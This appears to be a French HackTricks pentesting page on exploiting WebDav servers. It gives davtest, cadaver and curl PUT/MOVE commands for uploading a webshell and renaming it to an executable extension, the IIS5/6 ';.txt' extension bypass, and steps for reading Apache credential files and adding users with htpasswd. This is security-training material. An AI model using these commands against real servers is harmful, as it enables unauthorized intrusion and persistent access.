83 lines
4.1 KiB
Markdown

# WebDav
{{#include ../../banners/hacktricks-training.md}}
Lorsqu'il s'agit d'un **serveur HTTP avec WebDav** activé, il est possible de **manipuler des fichiers** si vous avez les bonnes **informations d'identification**, généralement vérifiées par **HTTP Basic Authentication**. Prendre le contrôle d'un tel serveur implique souvent le **téléchargement et l'exécution d'un webshell**.
L'accès au serveur WebDav nécessite généralement des **informations d'identification valides**, le [**bruteforce WebDav**](../../generic-hacking/brute-force.md#http-basic-auth) étant une méthode courante pour les acquérir.
Pour contourner les restrictions sur les téléchargements de fichiers, en particulier celles empêchant l'exécution de scripts côté serveur, vous pourriez :
- **Télécharger** des fichiers avec des **extensions exécutables** directement si ce n'est pas restreint.
- **Renommer** des fichiers non exécutables téléchargés (comme .txt) en une extension exécutable.
- **Copier** des fichiers non exécutables téléchargés, en changeant leur extension en une extension exécutable.
## DavTest
**Davtest** essaie de **télécharger plusieurs fichiers avec différentes extensions** et **vérifie** si l'extension est **exécutée** :
```bash
davtest [-auth user:password] -move -sendbd auto -url http://<IP> #Uplaod .txt files and try to move it to other extensions
davtest [-auth user:password] -sendbd auto -url http://<IP> #Try to upload every extension
```
![](<../../images/image (851).png>)
Cela ne signifie pas que les **extensions .txt** et **.html sont exécutées**. Cela signifie que vous pouvez **accéder à ces fichiers** via le web.
## Cadaver
Vous pouvez utiliser cet outil pour **vous connecter au serveur WebDav** et effectuer des actions (comme **télécharger**, **déplacer** ou **supprimer**) **manuellement**.
```
cadaver <IP>
```
## Requête PUT
```
curl -T 'shell.txt' 'http://$ip'
```
## Demande MOVE
```bash
curl -X MOVE --header 'Destination:http://$ip/shell.php' 'http://$ip/shell.txt'
```
## IIS5/6 WebDav Vulnerability
Cette vulnérabilité est très intéressante. Le **WebDav** ne **permet pas** de **télécharger** ou de **renommer** des fichiers avec l'extension **.asp**. Mais vous pouvez **contourner** cela en **ajoutant** à la fin du nom **";.txt"** et le fichier sera **exécuté** comme s'il s'agissait d'un fichier .asp (vous pourriez également **utiliser ".html" au lieu de ".txt"** mais **N'OUBLIEZ PAS le ";"**).
Ensuite, vous pouvez **télécharger** votre shell en tant que fichier ".**txt" et **le copier/déplacer dans un fichier ".asp;.txt"**. En accédant à ce fichier via le serveur web, il sera **exécuté** (cadaver dira que l'action de déplacement n'a pas fonctionné, mais c'est le cas).
![](<../../images/image (1092).png>)
## Post credentials
Si le Webdav utilisait un serveur Apache, vous devriez regarder les sites configurés dans Apache. Communément :\
_**/etc/apache2/sites-enabled/000-default**_
À l'intérieur, vous pourriez trouver quelque chose comme :
```
ServerAdmin webmaster@localhost
Alias /webdav /var/www/webdav
<Directory /var/www/webdav>
DAV On
AuthType Digest
AuthName "webdav"
AuthUserFile /etc/apache2/users.password
Require valid-user
```
Comme vous pouvez le voir, il y a des fichiers avec les **credentials** valides pour le serveur **webdav** :
```
/etc/apache2/users.password
```
À l'intérieur de ce type de fichiers, vous trouverez le **nom d'utilisateur** et un **hash** du mot de passe. Ce sont les identifiants que le serveur webdav utilise pour authentifier les utilisateurs.
Vous pouvez essayer de **craquer** ces identifiants, ou d'**ajouter** d'autres si pour une raison quelconque vous souhaitez **accéder** au serveur **webdav** :
```bash
htpasswd /etc/apache2/users.password <USERNAME> #You will be prompted for the password
```
Pour vérifier si les nouveaux identifiants fonctionnent, vous pouvez faire :
```bash
wget --user <USERNAME> --ask-password http://domain/path/to/webdav/ -O - -q
```
## Références
- [https://vk9-sec.com/exploiting-webdav/](https://vk9-sec.com/exploiting-webdav/)
{{#include ../../banners/hacktricks-training.md}}